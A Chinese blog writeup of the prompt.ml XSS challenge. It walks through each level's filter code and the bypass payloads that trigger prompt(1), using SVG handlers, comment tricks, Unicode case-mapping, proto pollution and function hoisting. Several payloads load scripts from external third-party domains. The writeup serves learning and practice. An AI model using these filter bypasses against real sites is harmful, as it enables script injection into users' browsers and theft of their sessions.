LoRexxar's Blog | 信息技术分享

xss无声挑战赛_writeup

2015/07/02

xss挑战平台地址
源码地址

规则

1、成功执行prompt(1).
2、payload不需要用户交互(成功会显示you won)
3、payload必须对下述浏览器有效:
Chrome(最新版) - Firefox(最新版) - IE10 及以上版本(或者IE10兼容模式)
4、每个级别至少给出两种浏览器的答案
5、字符越少越好(作为一个渣渣只能把这一条扔到一边去…)

writeup

level 0

1
2
3
4
5
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}

看一看发现并没有过滤任何东西,简单粗暴的svg就好了

1
"><svg/onload="prompt(1)

还有一些黑科技,是从官方的writeup里看到的,ie10第一加载时会用到resize事件

1
"onresize=prompt(1)>

反正我电脑中的环境是执行不了的…

level1

1
2
3
4
5
6
7
8
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');

return '<article>' + input + '</article>';
}

简单分析下,这条过滤比较常规,原则上就是如果>括号存在从</\开始的都替换为空,这样想

1
<script> </script>

都是不能用的,简单构造payload既可。

1
<svg/onload=prompt(1)

这里是好像是因为会自动闭合标签,所以仍然执行

level2

1
2
3
4
5
6
7
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');

// ok seriously, disallows equal signs and open parenthesis
return input;
}

这里过滤了(=,只要把左括号ascii编码之后就可以了,构造payload:

1
<svg><script>prompt&#40;1)</script>

这里的svg不能去掉,由于xml编码特性。在SVG向量里面的script元素(或者其他CDATA元素 ),会先进行xml解析。因此&#x28(十六进制)或者&#40(十进制)或者&lpar;(html实体编码)会被还原成(。

还有一种支持es6的情况,使用eval会自动解码执行

1
<script>eval.call`${'prompt\x281)'}`</script>

level3

1
2
3
4
5
6
7
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');

// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}

源码中显示到–>被过滤,但是这题需要先闭合注释框,2012年后,html标签可以用–!>,于是构造payload:

1
--!><svg/onload=prompt(1)

level4

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}

题目的意思大概是必须构造一个链接,才能使得返回答案,但是这里完全看不懂,所以贴上官方的writeup,等以后能看懂的时候回忆:
1、这个题目是利用url的特性绕过,浏览器支持这样的url:http://user:password@attacker.com。但是http://user:password/@attacker.com是不允许的。由于这里的正则特性和decodeURIComponent函数,所以可以使用%2f绕过,如下:http://prompt.ml%2f@attacker.com。所以域名越短,答案就越短。

1
//prompt.ml%2f@ᄒ.ws/✌       (这里用了@的黑魔法,后面是自己xss平台的引用,直接复制是xss)

2、The trick to solve the level with 17 characters only lies hidden in a transformation behavior some browsers apply when converting Unicode characters to URLs. A certain range of characters resolves to three other characters of which one is a dot - the dot we need for the URL. The following vectors uses the domain 14.rs that can be expressed by two characters only. One for the sequence 14. and one for the sequence rs:

1
//prompt.ml%2f@⒕₨

第二会弹出来xss…因为用了别人xss平台地址

level5

1
2
3
4
5
6
7
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');

return '<input value="' + input + '" type="text">';
}

1、首先是过滤,把onxxxx=这样的替换为_,这里用一个回车绕过。
2、其次是第二点,就是后面的type不可以覆盖前面的,所以可以把type=image。

1
2
"type=image src onerror
="prompt(1)

level6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);

var form = document.createElement('form');
form.action = formURL;
form.method = 'post';

for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}

return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}

分析源码可以看到,大概是由#分割,前面赋给form.action,使method=post,后面以json格式赋给formdata,把formdata中的属性循环赋给了input。后面满足forms.action存在即执行提交,所以这里使用js伪协议。

1
javascript:prompt(1)#{"action":0}

IE下可以使用vbscript减少字符

1
vbscript:prompt(1)#{"action":1}

level7

1
2
3
4
5
6
7
8
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}

这道题目开始没有看懂,题目的原意是根据#分离,每一部分赋给一个title,如果超过12字符,则需要截取前12个,这里使用的是js注释,使代码连起来。

1
"><svg/a=#"onload='/*#*/prompt(1)'

这样就形成:

1
2
3
<p class="comment" title=""><svg/a="></p>
<p class="comment" title=""onload='/*"></p>
<p class="comment" title="*/prompt(1)'"></p>

这里不能使用/**/闭合第一行和第二行之间的东西,是因为SVG文件中可以通过任意元素的onload事件执行Javascript,且不需要用户交互。例如:

1
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>

这里可以看到只有让前面的svg闭合,才能在不用交互的情况下执行prompt(1)。
原址在这里

还有一种ie环境下会执行的:

1
"><script x=#"async=#"src="//⒛₨

小技巧:IE下可以使用##async##来加载不需要闭合的script文件.如下:

1
<script src="test.js" async>

level8

1
2
3
4
5
6
7
8
9
10
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');

return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}

这里过滤了两个换行符,所以用到了一个特殊的编码技巧:

  • 是U+2028,是Unicode中的行分隔符。
  • 是U+2029,是Unicode中的段落分隔符。
    而且–>在js中可以当注释使用,参考资料
    于是构造答案是这样的:
    1
    2
    3
    4
    5
    <script>
    // console.log("
    prompt(1)
    -->");
    </script>
    可惜我也打不过这两个符号,所以不知道是不是这样的…
    1
    [U+2028]prompt(1)[U+2028]-->

level9

1
2
3
4
5
6
7
8
9
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();

// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}

简单的正则过滤,由<(开始的后面加任意字母的时候,中间都加一个_。
这里无法注入html的标签,但是toUppercase支持unicode字符,字符ſ经过函数toUpperCase()处理后,会变成ASCII码字符”S”。

1
<ſcript/ſrc=//⒕₨></ſcript>

或者使用async

1
<ſcript/async/src=//⒛₨>

官方的解释是这样的:
The special part here is the transformation behavior. Not all Unicode characters have matching representations when casted to capitals - so browsers often tend to simply take a look-alike, best-fit mapping ASCII character instead. There’s a fairly large range of characters with this behavior and all browsers do it a bit differently.

level10

1
2
3
4
5
6
7
8
9
10
Text Viewer
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');

// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}

这里会把prompt替换为alert,然后把’替换为空,但是因为替换顺序问题,所以出现了特殊的绕过方式,构造payload:

1
p'rompt(1)

level11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}

这道题过滤了几乎所有的符号,只有()可以用,这里要用个黑科技,让字母有操作符的功能,就是in.

1
"(prompt(1))in"

这里就会构造出

1
2
3
4
5
<script>                                    
var data = {"action":"login","message":"Welcome back, "(prompt(1))in"."};
if (data.action === "login")
document.write(data.message)
</script>

这里的原因是因为”test”(alert(1))虽然会提示语法错误, 但是还是会执行js语句。类似的alert(1)in”test”也是一样。可以在控制台下使用F12执行

level12

1
2
3
4
5
6
7
8
9
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');

// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}

这道题是10的翻版,但是修复了10的漏洞,所以这里要使用eval的黑科技。

1
parseInt("prompt",36); //1558153217

用这个函数得到加密的代码,然后,得到payload:

1
eval((1558153217).toString(36))(1)

还有各种特殊的方式:

1
2
3
eval(630038579..toString(30))(1)

// Hexadecimal alternative (630038579 == 0x258da033):

甚至可以直接暴力循环着self里的函数,找到prompt:

1
for((i)in(self))eval(i)(1)

level13

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}

这题的源码实在过于复杂,于是这里贴上官方的解释和payload:
这个题目涉及到js中的proto,每个对象都会在其内部初始化一个属性,就是proto,当我们访问对象的属性时,如果对象内部不存在这个属性,那么就会去proto里面找这个属性,这个proto又会有自己的proto,一直这样找下去。可以再Chrome控制台中测试:

1
2
3
4
5
6
config = {
"source": "_-_invalid-URL_-_",
"__proto__": {
"source": "my_evil_payload"
}
}

输入

1
2
delete config.source
config.source

返回my_evil_payload

还有一个技巧是,replace()这个函数,他还接受一些特殊的匹配模式。
$` 替换查找的字符串,并且在头部加上比配位置前的字符串部分
例如:

1
'123456'.replace('34','$`xss')

返回:

1
'1212xss56'

这样一来构造出payload:

1
{"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}}

level14

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Text Viewer
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');

return '<img src="' + input + '">';
}

1、首先所有的都是用大写字母。
2、然后你无法执行任何url,都会被转化为data:
3、最后包括&都被过滤,所以你不能使用十六进制或者10进制编码。

这里想到的是用base64绕过,但是由于必须是大写字母的关系,所以我们必须用特殊的手段,官方解释是这样的:
One solution working in Firefox is to use the data scheme and hide the payload in base64. This will work because Firefox accepts “BASE64” as an encoding definition (compared to other browsers that require “base64” in lower case).

The remaining challenge is to craft a payload that will be represented upper case chars of base64. This can be achieved by using an upper case payload. for example, the following

payload:

1
"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=

虽然base64帮助我们绕过很多,但是这里真正的黑魔法是msie,官方给出的是这样的:

While the Base64-based bypass was essentially a lot of engineering work, the true magic is in the MSIE version of this vector. Note that we bypass the check for // by using a Unicode representation of the slash. This and other Unicode characters work for that purpose. It has to be the second character only though. The first must be an actial slash (or solidus).
可惜可能是浏览器问题,我仍然执行不了。

level15

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');

return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}

这里和前面的7题类似,但是以15字母为一部分划分,而且js注释被过滤,不能使用/*,但是我们仍然可以使用html的注释绕过字符限制。

1
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>

这样一来源码会变成:

1
2
3
4
<p class="comment" title=""><svg><!--" data-comment='{"id":0}'></p>
<p class="comment" title="--><script><!--" data-comment='{"id":1}'></p>
<p class="comment" title="-->prompt(1<!--" data-comment='{"id":2}'></p>
<p class="comment" title="-->)</script>" data-comment='{"id":3}'></p>

level-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function escape(input) {
// WORLD -1

// strip off certain characters from breaking conditional statement
input = input.replace(/[}<]/g, '');

return ' \n\
<script> \n\
if (history.length > 1337) { \n\
// you can inject any code here \n\
// as long as it will be executed \n\
{{injection}} \n\
} \n\
</script> \n\
'.replace('{{injection}}', input);
}

这里可以看到过滤了一部分符号,而且判断长度必须大于1337,所以用到js变量提升,还用到了一个前面提到的关于replace的匹配技巧。
playload:

1
function history(L,o,r,e,m,I,p,s,u,m,i,s,s,i,m,p,l,y,d,u,m,m,y,t,e,x,t,o,f,t,h,e,p,r,i,n,t,i,n,g,a,n,d,t,y,p,e,s,e,t,t,i,n,g,i,n,d,u,s,t,r,y,L,o,r,e,m,I,p,s,u,m,h,a,s,b,e,e,n,t,h,e,i,n,d,u,s,t,r,y,s,s,t,a,n,d,a,r,d,d,u,m,m,y,t,e,x,t,e,v,e,r,s,i,n,c,e,t,h,e,s,w,h,e,n,a,n,u,n,k,n,o,w,n,p,r,i,n,t,e,r,t,o,o,k,a,g,a,l,l,e,y,o,f,t,y,p,e,a,n,d,s,c,r,a,m,b,l,e,d,i,t,t,o,m,a,k,e,a,t,y,p,e,s,p,e,c,i,m,e,n,b,o,o,k,I,t,h,a,s,s,u,r,v,i,v,e,d,n,o,t,o,n,l,y,f,i,v,e,c,e,n,t,u,r,i,e,s,b,u,t,a,l,s,o,t,h,e,l,e,a,p,i,n,t,o,e,l,e,c,t,r,o,n,i,c,t,y,p,e,s,e,t,t,i,n,g,r,e,m,a,i,n,i,n,g,e,s,s,e,n,t,i,a,l,l,y,u,n,c,h,a,n,g,e,d,I,t,w,a,s,p,o,p,u,l,a,r,i,s,e,d,i,n,t,h,e,s,w,i,t,h,t,h,e,r,e,l,e,a,s,e,o,f,L,e,t,r,a,s,e,t,s,h,e,e,t,s,c,o,n,t,a,i,n,i,n,g,L,o,r,e,m,I,p,s,u,m,p,a,s,s,a,g,e,s,a,n,d,m,o,r,e,r,e,c,e,n,t,l,y,w,i,t,h,d,e,s,k,t,o,p,p,u,b,l,i,s,h,i,n,g,s,o,f,t,w,a,r,e,l,i,k,e,A,l,d,u,s,P,a,g,e,M,a,k,e,r,i,n,c,l,u,d,i,n,g,v,e,r,s,i,o,n,s,o,f,L,o,r,e,m,I,p,s,u,m,I,t,i,s,a,l,o,n,g,e,s,t,a,b,l,i,s,h,e,d,f,a,c,t,t,h,a,t,a,r,e,a,d,e,r,w,i,l,l,b,e,d,i,s,t,r,a,c,t,e,d,b,y,t,h,e,r,e,a,d,a,b,l,e,c,o,n,t,e,n,t,o,f,a,p,a,g,e,w,h,e,n,l,o,o,k,i,n,g,a,t,i,t,s,l,a,y,o,u,t,T,h,e,p,o,i,n,t,o,f,u,s,i,n,g,L,o,r,e,m,I,p,s,u,m,i,s,t,h,a,t,i,t,h,a,s,a,m,o,r,e,o,r,l,e,s,s,n,o,r,m,a,l,d,i,s,t,r,i,b,u,t,i,o,n,o,f,l,e,t,t,e,r,s,a,s,o,p,p,o,s,e,d,t,o,u,s,i,n,g,C,o,n,t,e,n,t,h,e,r,e,c,o,n,t,e,n,t,h,e,r,e,m,a,k,i,n,g,i,t,l,o,o,k,l,i,k,e,r,e,a,d,a,b,l,e,E,n,g,l,i,s,h,M,a,n,y,d,e,s,k,t,o,p,p,u,b,l,i,s,h,i,n,g,p,a,c,k,a,g,e,s,a,n,d,w,e,b,p,a,g,e,e,d,i,t,o,r,s,n,o,w,u,s,e,L,o,r,e,m,I,p,s,u,m,a,s,t,h,e,i,r,d,e,f,a,u,l,t,m,o,d,e,l,t,e,x,t,a,n,d,a,s,e,a,r,c,h,f,o,r,l,o,r,e,m,i,p,s,u,m,w,i,l,l,u,n,c,o,v,e,r,m,a,n,y,w,e,b,s,i,t,e,s,s,t,i,l,l,i,n,t,h,e,i,r,i,n,f,a,n,c,y,V,a,r,i,o,u,s,v,e,r,s,i,o,n,s,h,a,v,e,e,v,o,l,v,e,d,o,v,e,r,t,h,e,y,e,a,r,s,s,o,m,e,t,i,m,e,s,b,y,a,c,c,i,d,e,n,t,s,o,m,e,t,i,m,e,s,o,n,p,u,r,p,o,s,e,i,n,j,e,c,t,e,d,h,u,m,o,u,r,a,n,d,t,h,e,l,i,k,e,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_,_)$&prompt(1)

这里用到的是一个特殊的技巧,测试下面的代码:

1
2
3
4
5
6
function functionDeclaration(a,b,c) {
alert('Function declared with ' + functionDeclaration.length + ' parameters');
}


functionDeclaration();

返回:

1
alert > Function declared with 3 parameters

所以构造这样的代码:

1
2
3
4
5
6
if (history.length > 1337) {                                 
// you can inject any code here
// as long as it will be executed
function history(l,o,r,e,m...1338 times...){{injection}}
prompt(1)
}
CATALOG
  1. 1. 规则
  2. 2. writeup
    1. 2.1. level 0
    2. 2.2. level1
    3. 2.3. level2
    4. 2.4. level3
    5. 2.5. level4
    6. 2.6. level5
    7. 2.7. level6
    8. 2.8. level7
    9. 2.9. level8
    10. 2.10. level9
    11. 2.11. level10
    12. 2.12. level11
    13. 2.13. level12
    14. 2.14. level13
    15. 2.15. level14
    16. 2.16. level15
    17. 2.17. level-1